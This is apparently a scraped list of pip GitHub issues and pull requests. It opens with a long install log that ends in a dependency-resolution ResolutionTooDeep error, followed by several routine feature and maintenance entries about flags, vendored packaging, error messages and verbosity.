  Downloading dctorch-0.1.1-py3-none-any.whl (2.3 kB)
  Downloading dctorch-0.1.0-py3-none-any.whl (2.3 kB)
Collecting clean-fid (from k-diffusion->TTS)
  Downloading clean_fid-0.1.34-py3-none-any.whl (26 kB)
Collecting requests (from transformers->TTS)
  Using cached requests-2.25.1-py2.py3-none-any.whl (61 kB)
Collecting clean-fid (from k-diffusion->TTS)
  Downloading clean_fid-0.1.33-py3-none-any.whl (25 kB)
INFO: pip is looking at multiple versions of dctorch to determine which version is compatible with other requirements. This could take a while.
  Downloading clean_fid-0.1.32-py3-none-any.whl (26 kB)
  Downloading clean_fid-0.1.31-py3-none-any.whl (24 kB)
INFO: This is taking longer than usual. You might need to provide the dependency resolver with stricter constraints to reduce runtime. See https://pip.pypa.io
u want to abort this run, press Ctrl + C.
  Downloading clean_fid-0.1.30-py3-none-any.whl (24 kB)
  Downloading clean_fid-0.1.29-py3-none-any.whl (24 kB)
  Downloading clean_fid-0.1.28-py3-none-any.whl (23 kB)
  Downloading clean_fid-0.1.26-py3-none-any.whl (23 kB)
  Downloading clean_fid-0.1.25-py3-none-any.whl (23 kB)
  Downloading clean_fid-0.1.24-py3-none-any.whl (23 kB)
  Downloading clean_fid-0.1.23-py3-none-any.whl (23 kB)
  Downloading clean_fid-0.1.22-py3-none-any.whl (23 kB)
  Downloading clean_fid-0.1.21-py3-none-any.whl (23 kB)
  Downloading clean_fid-0.1.19-py3-none-any.whl (23 kB)
  Downloading clean_fid-0.1.18-py3-none-any.whl (23 kB)
  Downloading clean_fid-0.1.17-py3-none-any.whl (23 kB)
  Downloading clean_fid-0.1.16-py3-none-any.whl (22 kB)
  Downloading clean_fid-0.1.15-py3-none-any.whl (22 kB)
  Downloading clean_fid-0.1.14-py3-none-any.whl (22 kB)
  Downloading clean_fid-0.1.13-py3-none-any.whl (19 kB)
  Downloading clean_fid-0.1.12-py3-none-any.whl (19 kB)
  Downloading clean_fid-0.1.11-py3-none-any.whl (19 kB)
  Downloading clean_fid-0.1.10-py3-none-any.whl (16 kB)
  Downloading clean_fid-0.1.9-py3-none-any.whl (15 kB)
  Downloading clean_fid-0.1.8-py3-none-any.whl (16 kB)
  Downloading clean_fid-0.1.6-py3-none-any.whl (15 kB)
Collecting accelerate (from k-diffusion->TTS)
  Downloading accelerate-0.22.0-py3-none-any.whl (251 kB)
     ---------------------------------------- 251.2/251.2 kB 15.1 MB/s eta 0:00:00
  Downloading accelerate-0.21.0-py3-none-any.whl (244 kB)
     ---------------------------------------- 244.2/244.2 kB 7.3 MB/s eta 0:00:00
  Downloading accelerate-0.20.3-py3-none-any.whl (227 kB)
     ---------------------------------------- 227.6/227.6 kB 6.8 MB/s eta 0:00:00
  Downloading accelerate-0.20.2-py3-none-any.whl (227 kB)
     ---------------------------------------- 227.5/227.5 kB 2.8 MB/s eta 0:00:00
  Downloading accelerate-0.20.1-py3-none-any.whl (227 kB)
     ---------------------------------------- 227.5/227.5 kB 2.8 MB/s eta 0:00:00
  Downloading accelerate-0.20.0-py3-none-any.whl (227 kB)
     ---------------------------------------- 227.4/227.4 kB 7.0 MB/s eta 0:00:00
  Downloading accelerate-0.19.0-py3-none-any.whl (219 kB)
     ---------------------------------------- 219.1/219.1 kB 13.1 MB/s eta 0:00:00
  Downloading accelerate-0.18.0-py3-none-any.whl (215 kB)
     ---------------------------------------- 215.3/215.3 kB 3.3 MB/s eta 0:00:00
  Downloading accelerate-0.17.1-py3-none-any.whl (212 kB)
     ---------------------------------------- 212.8/212.8 kB 13.5 MB/s eta 0:00:00
  Downloading accelerate-0.17.0-py3-none-any.whl (212 kB)
     ---------------------------------------- 212.8/212.8 kB 6.5 MB/s eta 0:00:00
  Downloading accelerate-0.16.0-py3-none-any.whl (199 kB)
     ---------------------------------------- 199.7/199.7 kB 11.8 MB/s eta 0:00:00
  Downloading accelerate-0.15.0-py3-none-any.whl (191 kB)
     ---------------------------------------- 191.5/191.5 kB 12.1 MB/s eta 0:00:00
  Downloading accelerate-0.14.0-py3-none-any.whl (175 kB)
     ---------------------------------------- 176.0/176.0 kB 11.1 MB/s eta 0:00:00
  Downloading accelerate-0.13.2-py3-none-any.whl (148 kB)
     ---------------------------------------- 148.8/148.8 kB 4.5 MB/s eta 0:00:00
  Downloading accelerate-0.13.1-py3-none-any.whl (148 kB)
     ---------------------------------------- 148.8/148.8 kB 9.2 MB/s eta 0:00:00
  Downloading accelerate-0.13.0-py3-none-any.whl (148 kB)
     ---------------------------------------- 148.8/148.8 kB 2.9 MB/s eta 0:00:00
  Downloading accelerate-0.12.0-py3-none-any.whl (143 kB)
     ---------------------------------------- 144.0/144.0 kB 8.9 MB/s eta 0:00:00
  Downloading accelerate-0.11.0-py3-none-any.whl (123 kB)
     ---------------------------------------- 123.1/123.1 kB 7.1 MB/s eta 0:00:00
  Downloading accelerate-0.10.0-py3-none-any.whl (117 kB)
     ---------------------------------------- 117.1/117.1 kB ? eta 0:00:00
  Downloading accelerate-0.9.0-py3-none-any.whl (106 kB)
     ---------------------------------------- 106.8/106.8 kB 3.1 MB/s eta 0:00:00
  Downloading accelerate-0.8.0-py3-none-any.whl (114 kB)
     ---------------------------------------- 114.5/114.5 kB 6.5 MB/s eta 0:00:00
  Downloading accelerate-0.7.1-py3-none-any.whl (79 kB)
     ---------------------------------------- 79.9/79.9 kB 2.2 MB/s eta 0:00:00
  Downloading accelerate-0.7.0-py3-none-any.whl (79 kB)
     ---------------------------------------- 79.8/79.8 kB 4.3 MB/s eta 0:00:00
  Downloading accelerate-0.6.2-py3-none-any.whl (65 kB)
     ---------------------------------------- 65.9/65.9 kB ? eta 0:00:00
  Downloading accelerate-0.6.1-py3-none-any.whl (65 kB)
     ---------------------------------------- 65.9/65.9 kB 1.8 MB/s eta 0:00:00
  Downloading accelerate-0.6.0-py3-none-any.whl (65 kB)
     ---------------------------------------- 65.8/65.8 kB 3.5 MB/s eta 0:00:00
  Downloading accelerate-0.5.1-py3-none-any.whl (58 kB)
     ---------------------------------------- 58.0/58.0 kB 1.5 MB/s eta 0:00:00
  Downloading accelerate-0.5.0-py3-none-any.whl (57 kB)
     ---------------------------------------- 58.0/58.0 kB 757.7 kB/s eta 0:00:00
  Downloading accelerate-0.4.0-py3-none-any.whl (55 kB)
     ---------------------------------------- 55.3/55.3 kB 221.9 kB/s eta 0:00:00
Collecting soxr>=0.3.2 (from librosa==0.10.0.*->TTS)
  Downloading soxr-0.3.5-cp38-cp38-win_amd64.whl (184 kB)
     ---------------------------------------- 184.4/184.4 kB 11.6 MB/s eta 0:00:00
  Downloading soxr-0.3.4-cp38-cp38-win_amd64.whl (184 kB)
     ---------------------------------------- 184.8/184.8 kB 3.8 MB/s eta 0:00:00
  Downloading soxr-0.3.3-cp38-cp38-win_amd64.whl (176 kB)
     ---------------------------------------- 176.7/176.7 kB 11.1 MB/s eta 0:00:00
  Downloading soxr-0.3.2-cp38-cp38-win_amd64.whl (176 kB)
     ---------------------------------------- 176.7/176.7 kB ? eta 0:00:00
Collecting scikit-learn>=0.20.0 (from librosa==0.10.0.*->TTS)
  Downloading scikit_learn-1.3.1-cp38-cp38-win_amd64.whl (9.3 MB)
     ---------------------------------------- 9.3/9.3 MB 3.5 MB/s eta 0:00:00
Collecting joblib>=0.14 (from librosa==0.10.0.*->TTS)
  Downloading joblib-1.3.2-py3-none-any.whl (302 kB)
     ---------------------------------------- 302.2/302.2 kB 6.2 MB/s eta 0:00:00
Collecting scikit-learn>=0.20.0 (from librosa==0.10.0.*->TTS)
  Downloading scikit_learn-1.3.0-cp38-cp38-win_amd64.whl (9.2 MB)
     ---------------------------------------- 9.2/9.2 MB 2.1 MB/s eta 0:00:00
  Downloading scikit_learn-1.2.2-cp38-cp38-win_amd64.whl (8.3 MB)
     ---------------------------------------- 8.3/8.3 MB 2.6 MB/s eta 0:00:00
  Downloading scikit_learn-1.2.1-cp38-cp38-win_amd64.whl (8.3 MB)
     ---------------------------------------- 8.3/8.3 MB 2.6 MB/s eta 0:00:00
  Downloading scikit_learn-1.2.0-cp38-cp38-win_amd64.whl (8.2 MB)
     ---------------------------------------- 8.2/8.2 MB 4.1 MB/s eta 0:00:00
  Downloading scikit_learn-1.1.3-cp38-cp38-win_amd64.whl (7.5 MB)
     ---------------------------------------- 7.5/7.5 MB 4.5 MB/s eta 0:00:00
  Downloading scikit_learn-1.1.2-cp38-cp38-win_amd64.whl (7.3 MB)
     ---------------------------------------- 7.3/7.3 MB 3.9 MB/s eta 0:00:00
  Downloading scikit_learn-1.1.1-cp38-cp38-win_amd64.whl (7.3 MB)
     ---------------------------------------- 7.3/7.3 MB 3.5 MB/s eta 0:00:00
  Downloading scikit_learn-1.1.0-cp38-cp38-win_amd64.whl (7.3 MB)
     ---------------------------------------- 7.3/7.3 MB 3.3 MB/s eta 0:00:00
  Using cached scikit_learn-1.0.2-cp38-cp38-win_amd64.whl (7.2 MB)
  Downloading scikit_learn-1.0.1-cp38-cp38-win_amd64.whl (7.2 MB)
     ---------------------------------------- 7.2/7.2 MB 4.0 MB/s eta 0:00:00
  Downloading scikit_learn-1.0-cp38-cp38-win_amd64.whl (7.2 MB)
     ---------------------------------------- 7.2/7.2 MB 4.2 MB/s eta 0:00:00
  Downloading scikit_learn-0.24.2-cp38-cp38-win_amd64.whl (6.9 MB)
     ---------------------------------------- 6.9/6.9 MB 2.6 MB/s eta 0:00:00
  Downloading scikit_learn-0.24.1-cp38-cp38-win_amd64.whl (6.9 MB)
     ---------------------------------------- 6.9/6.9 MB 4.2 MB/s eta 0:00:00
  Downloading scikit_learn-0.24.0-cp38-cp38-win_amd64.whl (6.9 MB)
     ---------------------------------------- 6.9/6.9 MB 3.1 MB/s eta 0:00:00
  Downloading scikit_learn-0.23.2-cp38-cp38-win_amd64.whl (6.8 MB)
     ---------------------------------------- 6.8/6.8 MB 2.7 MB/s eta 0:00:00
  Downloading scikit_learn-0.23.1-cp38-cp38-win_amd64.whl (6.8 MB)
     ---------------------------------------- 6.8/6.8 MB 3.7 MB/s eta 0:00:00
  Downloading scikit_learn-0.23.0-cp38-cp38-win_amd64.whl (6.8 MB)
     ---------------------------------------- 6.8/6.8 MB 4.3 MB/s eta 0:00:00
  Downloading scikit_learn-0.22.2.post1-cp38-cp38-win_amd64.whl (6.6 MB)
     ---------------------------------------- 6.6/6.6 MB 4.0 MB/s eta 0:00:00
  Downloading scikit_learn-0.22.2-cp38-cp38-win_amd64.whl (6.6 MB)
     ---------------------------------------- 6.6/6.6 MB 2.9 MB/s eta 0:00:00
  Downloading scikit_learn-0.22.1-cp38-cp38-win_amd64.whl (6.4 MB)
     ---------------------------------------- 6.4/6.4 MB 3.0 MB/s eta 0:00:00
  Downloading scikit_learn-0.22-cp38-cp38-win_amd64.whl (6.3 MB)
     ---------------------------------------- 6.3/6.3 MB 3.5 MB/s eta 0:00:00
Collecting pynndescent>=0.5 (from umap-learn==0.5.1->TTS)
  Downloading pynndescent-0.5.9.tar.gz (1.1 MB)
     ---------------------------------------- 1.1/1.1 MB 3.4 MB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Collecting contourpy>=1.0.1 (from matplotlib->TTS)
  Downloading contourpy-1.1.1-cp38-cp38-win_amd64.whl (477 kB)
     ---------------------------------------- 477.9/477.9 kB 7.4 MB/s eta 0:00:00
  Downloading contourpy-1.1.0-cp38-cp38-win_amd64.whl (470 kB)
     ---------------------------------------- 470.4/470.4 kB 7.3 MB/s eta 0:00:00
  Using cached contourpy-1.0.7-cp38-cp38-win_amd64.whl (162 kB)
  Downloading contourpy-1.0.6-cp38-cp38-win_amd64.whl (163 kB)
     ---------------------------------------- 163.5/163.5 kB 2.5 MB/s eta 0:00:00
  Downloading contourpy-1.0.5-cp38-cp38-win_amd64.whl (164 kB)
     ---------------------------------------- 164.0/164.0 kB 5.0 MB/s eta 0:00:00
  Downloading contourpy-1.0.4-cp38-cp38-win_amd64.whl (162 kB)
     ---------------------------------------- 162.5/162.5 kB 9.5 MB/s eta 0:00:00
  Downloading contourpy-1.0.3-cp38-cp38-win_amd64.whl (159 kB)
     ---------------------------------------- 159.8/159.8 kB 9.3 MB/s eta 0:00:00
  Downloading contourpy-1.0.2-cp38-cp38-win_amd64.whl (158 kB)
     ---------------------------------------- 158.1/158.1 kB 9.9 MB/s eta 0:00:00
  Downloading contourpy-1.0.1-cp38-cp38-win_amd64.whl (158 kB)
     ---------------------------------------- 158.1/158.1 kB 9.2 MB/s eta 0:00:00
Collecting transformers (from TTS)
  Downloading transformers-4.33.2-py3-none-any.whl (7.6 MB)
     ---------------------------------------- 7.6/7.6 MB 3.4 MB/s eta 0:00:00
  Downloading transformers-4.33.1-py3-none-any.whl (7.6 MB)
     ---------------------------------------- 7.6/7.6 MB 3.5 MB/s eta 0:00:00
  Downloading transformers-4.33.0-py3-none-any.whl (7.6 MB)
     ---------------------------------------- 7.6/7.6 MB 4.6 MB/s eta 0:00:00
  Downloading transformers-4.32.1-py3-none-any.whl (7.5 MB)
     ---------------------------------------- 7.5/7.5 MB 2.6 MB/s eta 0:00:00
  Downloading transformers-4.32.0-py3-none-any.whl (7.5 MB)
     ---------------------------------------- 7.5/7.5 MB 3.5 MB/s eta 0:00:00
  Downloading transformers-4.31.0-py3-none-any.whl (7.4 MB)
     ---------------------------------------- 7.4/7.4 MB 3.6 MB/s eta 0:00:00
  Downloading transformers-4.30.2-py3-none-any.whl (7.2 MB)
     ---------------------------------------- 7.2/7.2 MB 3.5 MB/s eta 0:00:00
  Downloading transformers-4.30.1-py3-none-any.whl (7.2 MB)
     ---------------------------------------- 7.2/7.2 MB 4.3 MB/s eta 0:00:00
  Downloading transformers-4.30.0-py3-none-any.whl (7.2 MB)
     ---------------------------------------- 7.2/7.2 MB 3.7 MB/s eta 0:00:00
  Downloading transformers-4.29.2-py3-none-any.whl (7.1 MB)
     ---------------------------------------- 7.1/7.1 MB 4.5 MB/s eta 0:00:00
  Downloading transformers-4.29.1-py3-none-any.whl (7.1 MB)
     ---------------------------------------- 7.1/7.1 MB 2.4 MB/s eta 0:00:00
  Downloading transformers-4.29.0-py3-none-any.whl (7.1 MB)
     ---------------------------------------- 7.1/7.1 MB 4.0 MB/s eta 0:00:00
  Downloading transformers-4.28.1-py3-none-any.whl (7.0 MB)
     ---------------------------------------- 7.0/7.0 MB 3.3 MB/s eta 0:00:00
  Downloading transformers-4.28.0-py3-none-any.whl (7.0 MB)
     ---------------------------------------- 7.0/7.0 MB 4.1 MB/s eta 0:00:00
  Downloading transformers-4.27.4-py3-none-any.whl (6.8 MB)
     ---------------------------------------- 6.8/6.8 MB 2.8 MB/s eta 0:00:00
  Downloading transformers-4.27.3-py3-none-any.whl (6.8 MB)
     ---------------------------------------- 6.8/6.8 MB 3.8 MB/s eta 0:00:00
  Downloading transformers-4.27.2-py3-none-any.whl (6.8 MB)
     ---------------------------------------- 6.8/6.8 MB 3.2 MB/s eta 0:00:00
  Downloading transformers-4.27.1-py3-none-any.whl (6.7 MB)
     ---------------------------------------- 6.7/6.7 MB 3.7 MB/s eta 0:00:00
  Downloading transformers-4.27.0-py3-none-any.whl (6.8 MB)
     ---------------------------------------- 6.8/6.8 MB 4.7 MB/s eta 0:00:00
  Downloading transformers-4.26.1-py3-none-any.whl (6.3 MB)
     ---------------------------------------- 6.3/6.3 MB 3.6 MB/s eta 0:00:00
  Downloading transformers-4.26.0-py3-none-any.whl (6.3 MB)
     ---------------------------------------- 6.3/6.3 MB 4.5 MB/s eta 0:00:00
  Downloading transformers-4.25.1-py3-none-any.whl (5.8 MB)
     ---------------------------------------- 5.8/5.8 MB 4.6 MB/s eta 0:00:00
  Downloading transformers-4.24.0-py3-none-any.whl (5.5 MB)
     ---------------------------------------- 5.5/5.5 MB 3.5 MB/s eta 0:00:00
  Downloading transformers-4.23.1-py3-none-any.whl (5.3 MB)
     ---------------------------------------- 5.3/5.3 MB 2.5 MB/s eta 0:00:00
  Downloading transformers-4.23.0-py3-none-any.whl (5.3 MB)
     ---------------------------------------- 5.3/5.3 MB 2.6 MB/s eta 0:00:00
  Downloading transformers-4.22.2-py3-none-any.whl (4.9 MB)
     ---------------------------------------- 4.9/4.9 MB 4.3 MB/s eta 0:00:00
Collecting tokenizers!=0.11.3,<0.13,>=0.11.1 (from transformers->TTS)
  Downloading tokenizers-0.12.1-cp38-cp38-win_amd64.whl (3.3 MB)
     ---------------------------------------- 3.3/3.3 MB 3.3 MB/s eta 0:00:00
Collecting transformers (from TTS)
  Downloading transformers-4.22.1-py3-none-any.whl (4.9 MB)
     ---------------------------------------- 4.9/4.9 MB 3.5 MB/s eta 0:00:00
  Downloading transformers-4.22.0-py3-none-any.whl (4.9 MB)
     ---------------------------------------- 4.9/4.9 MB 2.4 MB/s eta 0:00:00
  Downloading transformers-4.21.3-py3-none-any.whl (4.7 MB)
     ---------------------------------------- 4.7/4.7 MB 3.9 MB/s eta 0:00:00
  Downloading transformers-4.21.2-py3-none-any.whl (4.7 MB)
     ---------------------------------------- 4.7/4.7 MB 2.6 MB/s eta 0:00:00
  Downloading transformers-4.21.1-py3-none-any.whl (4.7 MB)
     ---------------------------------------- 4.7/4.7 MB 4.0 MB/s eta 0:00:00
  Downloading transformers-4.21.0-py3-none-any.whl (4.7 MB)
     ---------------------------------------- 4.7/4.7 MB 4.4 MB/s eta 0:00:00
  Downloading transformers-4.20.1-py3-none-any.whl (4.4 MB)
     ---------------------------------------- 4.4/4.4 MB 2.9 MB/s eta 0:00:00
  Downloading transformers-4.20.0-py3-none-any.whl (4.4 MB)
     ---------------------------------------- 4.4/4.4 MB 3.9 MB/s eta 0:00:00
  Downloading transformers-4.19.4-py3-none-any.whl (4.2 MB)
     ---------------------------------------- 4.2/4.2 MB 3.1 MB/s eta 0:00:00
  Downloading transformers-4.19.3-py3-none-any.whl (4.2 MB)
     ---------------------------------------- 4.2/4.2 MB 2.8 MB/s eta 0:00:00
  Downloading transformers-4.19.2-py3-none-any.whl (4.2 MB)
     ---------------------------------------- 4.2/4.2 MB 3.6 MB/s eta 0:00:00
  Downloading transformers-4.19.1-py3-none-any.whl (4.2 MB)
     ---------------------------------------- 4.2/4.2 MB 3.4 MB/s eta 0:00:00
  Downloading transformers-4.19.0-py3-none-any.whl (4.2 MB)
     ---------------------------------------- 4.2/4.2 MB 3.9 MB/s eta 0:00:00
  Downloading transformers-4.18.0-py3-none-any.whl (4.0 MB)
     ---------------------------------------- 4.0/4.0 MB 3.8 MB/s eta 0:00:00
Collecting sacremoses (from transformers->TTS)
  Downloading sacremoses-0.0.53.tar.gz (880 kB)
     ---------------------------------------- 880.6/880.6 kB 5.1 MB/s eta 0:00:00
  Preparing metadata (setup.py) ... done
Collecting transformers (from TTS)
  Downloading transformers-4.17.0-py3-none-any.whl (3.8 MB)
     ---------------------------------------- 3.8/3.8 MB 4.4 MB/s eta 0:00:00
Collecting tokenizers!=0.11.3,>=0.11.1 (from transformers->TTS)
  Downloading tokenizers-0.14.0-cp38-none-win_amd64.whl (2.2 MB)
     ---------------------------------------- 2.2/2.2 MB 3.6 MB/s eta 0:00:00
Collecting transformers (from TTS)
  Downloading transformers-4.16.2-py3-none-any.whl (3.5 MB)
     ---------------------------------------- 3.5/3.5 MB 4.4 MB/s eta 0:00:00
  Downloading transformers-4.16.1-py3-none-any.whl (3.5 MB)
     ---------------------------------------- 3.5/3.5 MB 2.5 MB/s eta 0:00:00
  Downloading transformers-4.16.0-py3-none-any.whl (3.5 MB)
     ---------------------------------------- 3.5/3.5 MB 3.5 MB/s eta 0:00:00
  Downloading transformers-4.15.0-py3-none-any.whl (3.4 MB)
     ---------------------------------------- 3.4/3.4 MB 2.8 MB/s eta 0:00:00
Collecting tokenizers<0.11,>=0.10.1 (from transformers->TTS)
  Downloading tokenizers-0.10.3-cp38-cp38-win_amd64.whl (2.0 MB)
     ---------------------------------------- 2.0/2.0 MB 4.1 MB/s eta 0:00:00
Collecting transformers (from TTS)
  Downloading transformers-4.14.1-py3-none-any.whl (3.4 MB)
     ---------------------------------------- 3.4/3.4 MB 2.8 MB/s eta 0:00:00
  Downloading transformers-4.13.0-py3-none-any.whl (3.3 MB)
     ---------------------------------------- 3.3/3.3 MB 4.0 MB/s eta 0:00:00
  Downloading transformers-4.12.5-py3-none-any.whl (3.1 MB)
     ---------------------------------------- 3.1/3.1 MB 3.3 MB/s eta 0:00:00
  Downloading transformers-4.12.4-py3-none-any.whl (3.1 MB)
     ---------------------------------------- 3.1/3.1 MB 2.4 MB/s eta 0:00:00
  Downloading transformers-4.12.3-py3-none-any.whl (3.1 MB)
     ---------------------------------------- 3.1/3.1 MB 3.7 MB/s eta 0:00:00
  Downloading transformers-4.12.2-py3-none-any.whl (3.1 MB)
     ---------------------------------------- 3.1/3.1 MB 3.0 MB/s eta 0:00:00
  Downloading transformers-4.12.1-py3-none-any.whl (3.1 MB)
     ---------------------------------------- 3.1/3.1 MB 3.0 MB/s eta 0:00:00
  Downloading transformers-4.12.0-py3-none-any.whl (3.1 MB)
     ---------------------------------------- 3.1/3.1 MB 2.9 MB/s eta 0:00:00
  Downloading transformers-4.11.3-py3-none-any.whl (2.9 MB)
     ---------------------------------------- 2.9/2.9 MB 2.9 MB/s eta 0:00:00
  Downloading transformers-4.11.2-py3-none-any.whl (2.9 MB)
     ---------------------------------------- 2.9/2.9 MB 3.1 MB/s eta 0:00:00
  Downloading transformers-4.11.1-py3-none-any.whl (2.9 MB)
     ---------------------------------------- 2.9/2.9 MB 4.3 MB/s eta 0:00:00
  Downloading transformers-4.11.0-py3-none-any.whl (2.9 MB)
     ---------------------------------------- 2.9/2.9 MB 3.0 MB/s eta 0:00:00
  Downloading transformers-4.10.3-py3-none-any.whl (2.8 MB)
     ---------------------------------------- 2.8/2.8 MB 2.2 MB/s eta 0:00:00
  Downloading transformers-4.10.2-py3-none-any.whl (2.8 MB)
     ---------------------------------------- 2.8/2.8 MB 2.8 MB/s eta 0:00:00
  Downloading transformers-4.10.1-py3-none-any.whl (2.8 MB)
     ---------------------------------------- 2.8/2.8 MB 3.4 MB/s eta 0:00:00
  Downloading transformers-4.10.0-py3-none-any.whl (2.8 MB)
     ---------------------------------------- 2.8/2.8 MB 3.2 MB/s eta 0:00:00
  Downloading transformers-4.9.2-py3-none-any.whl (2.6 MB)
     ---------------------------------------- 2.6/2.6 MB 4.0 MB/s eta 0:00:00
Collecting huggingface-hub==0.0.12 (from transformers->TTS)
  Downloading huggingface_hub-0.0.12-py3-none-any.whl (37 kB)
Collecting transformers (from TTS)
  Downloading transformers-4.9.1-py3-none-any.whl (2.6 MB)
     ---------------------------------------- 2.6/2.6 MB 4.1 MB/s eta 0:00:00
  Downloading transformers-4.9.0-py3-none-any.whl (2.6 MB)
     ---------------------------------------- 2.6/2.6 MB 4.4 MB/s eta 0:00:00
  Downloading transformers-4.8.2-py3-none-any.whl (2.5 MB)
     ---------------------------------------- 2.5/2.5 MB 3.2 MB/s eta 0:00:00
  Downloading transformers-4.8.1-py3-none-any.whl (2.5 MB)
     ---------------------------------------- 2.5/2.5 MB 2.6 MB/s eta 0:00:00
  Downloading transformers-4.8.0-py3-none-any.whl (2.5 MB)
     ---------------------------------------- 2.5/2.5 MB 2.9 MB/s eta 0:00:00
  Downloading transformers-4.7.0-py3-none-any.whl (2.5 MB)
     ---------------------------------------- 2.5/2.5 MB 4.2 MB/s eta 0:00:00
Collecting huggingface-hub==0.0.8 (from transformers->TTS)
  Downloading huggingface_hub-0.0.8-py3-none-any.whl (34 kB)
Collecting transformers (from TTS)
  Downloading transformers-4.6.1-py3-none-any.whl (2.2 MB)
     ---------------------------------------- 2.2/2.2 MB 4.1 MB/s eta 0:00:00
  Downloading transformers-4.6.0-py3-none-any.whl (2.3 MB)
     ---------------------------------------- 2.3/2.3 MB 4.5 MB/s eta 0:00:00
  Downloading transformers-4.5.1-py3-none-any.whl (2.1 MB)
     ---------------------------------------- 2.1/2.1 MB 4.1 MB/s eta 0:00:00
  Downloading transformers-4.5.0-py3-none-any.whl (2.1 MB)
     ---------------------------------------- 2.1/2.1 MB 2.9 MB/s eta 0:00:00
  Downloading transformers-4.4.2-py3-none-any.whl (2.0 MB)
     ---------------------------------------- 2.0/2.0 MB 2.4 MB/s eta 0:00:00
  Downloading transformers-4.4.1-py3-none-any.whl (2.1 MB)
     ---------------------------------------- 2.1/2.1 MB 3.3 MB/s eta 0:00:00
  Downloading transformers-4.4.0-py3-none-any.whl (2.1 MB)
     ---------------------------------------- 2.1/2.1 MB 1.9 MB/s eta 0:00:00
  Downloading transformers-4.3.3-py3-none-any.whl (1.9 MB)
     ---------------------------------------- 1.9/1.9 MB 3.3 MB/s eta 0:00:00
  Downloading transformers-4.3.2-py3-none-any.whl (1.8 MB)
     ---------------------------------------- 1.8/1.8 MB 3.8 MB/s eta 0:00:00
  Downloading transformers-4.3.1-py3-none-any.whl (1.8 MB)
     ---------------------------------------- 1.8/1.8 MB 4.1 MB/s eta 0:00:00
ERROR: Exception:
Traceback (most recent call last):
  File "C:\Python38\lib\site-packages\pip\_internal\cli\base_command.py", line 169, in exc_logging_wrapper
    status = run_func(*args)
  File "C:\Python38\lib\site-packages\pip\_internal\cli\req_command.py", line 248, in wrapper
    return func(self, options, args)
  File "C:\Python38\lib\site-packages\pip\_internal\commands\install.py", line 377, in run
    requirement_set = resolver.resolve(
  File "C:\Python38\lib\site-packages\pip\_internal\resolution\resolvelib\resolver.py", line 92, in resolve
    result = self._result = resolver.resolve(
  File "C:\Python38\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 546, in resolve
    state = resolution.resolve(requirements, max_rounds=max_rounds)
  File "C:\Python38\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 457, in resolve
    raise ResolutionTooDeep(max_rounds)
pip._vendor.resolvelib.resolvers.ResolutionTooDeep: 200000

```

4. I re-run the `pip install TTS` command and it took hours again, despite all packages were already available so it was not a slow network problem (i.e. now all "_Downloading whatever-package.whl_" messages were "_Using cached whatever-package.whl_" instead).  
But installation stopped at the same point with same error message:  
`pip._vendor.resolvelib.resolvers.ResolutionTooDeep: 200000`

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: abubelinha
labels: type: bug: A confirmed bug or unintended behavior
C: dependency resolution: About choosing which dependencies to install
S: awaiting response: Waiting for a response/more information
issue_12301: state: open
title: Remove `--global-option` and `--build-option` flags
body: The removal of these options was scheduled for 23.3.

closes #11859
user: sbidoul
issue_12300: state: open
title: Upgrade vendored packaging lib
body: Upgrade our vendored copy of `packaging`, remove all references to `LegacyVersion` and LegacySpecifier`..

Closes #12063 
Closes #11715
Closes #11445 

user: sbidoul
labels: type: deprecation: Related to deprecation / removal.
issue_12298: state: open
title: Include the package name in the error reason
body: Add a bit more info to the error message when package resolution fails.

This is useful when `pip` is invoked from `pip-compile` tool. Here's an example of an error message one would receive from `pip-compile` before and after this change:

### Before

```
ERROR: Ignored the following versions that require a different python version: 5.2.0 Requires-Python >=3.9; 2023.5.1 Requires-Python >=3.9
  ERROR: Could not find a version that satisfies the requirement baz==0.6.0 (from versions: none)
```

### After

```
ERROR: Ignored the following versions that require a different python version: foo-5.2.0-py3-none-any.whl 5.2.0 Requires-Python >=3.9; foobar-2023.5.1-py3-none-any.whl 2023.5.1 Requires-Python >=3.9
  ERROR: Could not find a version that satisfies the requirement baz==0.6.0 (from versions: none)
```
user: amir-f
issue_12295: state: open
title: Use strict optional checking in legacy resolver
body: The assert in _set_req_to_reinstall is definitely correct, the three call sites have guards

The assert in _populate_link is a little trickier. It's not obvious to me how to prove it will never trigger. But do note that if link were ever None, it could potentially cause AttributeError in Cache._get_cache_path_parts and direct_url_from_link

The assert in _resolve_one is safe, if req_to_install.name was None it would raise TypeError in canonicalize_name

I can't prove that req.name is not None in get_installation_order and the code would work fine if that were the case (since it's a defaultdict), so I opted to just ignore
user: hauntsaninja
issue_12284: state: open
title: Decrease verbosity level required for conflict information
body: ### What's the problem this feature will solve?

https://github.com/pypa/pip/pull/10937 added diagnostics for conflict information that have proved to be tremendously useful in some cases already ❤️ (except when there's an upper bound on the required Python version, but that's another story)

However, to enable those, the user needs to specify `-vv`, which also produces _a lot_ of other messages that aren't really that useful.

### Describe the solution you'd like

Be able to see the `Will try a different candidate, due to conflict:` with `-v`.

### Alternative Solutions

Current status. Which is _okay_, because one can `grep 'due to conflict' -A5` or something like that, but I think the usefulness of those messages really deserves to be in `-v` and not in `-vv`.

### Additional context

See discussion in https://github.com/pypa/pip/pull/10937.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: astrojuanlu
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12283: state: open
title: [RFC] vcs/pip : Remove warning when cloning from a reference
body: ### What's the problem this feature will solve?

Nowadays, in project oriented developments, it is quite common wanting to install packages from temporary sources (e.g.: an open Pull Request).

Currently, that installation mode displays a warning caused by :

https://github.com/pypa/pip/blob/0827d76bd2987ddea6f327e0c24e821d27d71cdf/src/pip/_internal/vcs/git.py#L228

### Describe the solution you'd like

Change the logger level to INFO.

### Alternative Solutions

None

### Additional context

![image](https://github.com/pypa/pip/assets/19529533/e4bf2869-2b8a-4ccf-977c-4e8beceff82e)


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: rousseldenis
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12282: state: open
title: [IMP] vcs/git: Don't show warning anymore when git clone on ref
body: Nowadays it is quite common to install packages from a reference

e.g.: an open Pull Request

So, don't show that information as a warning anymore.

<!---
Thank you for your soon to be pull request. Before you submit this, please
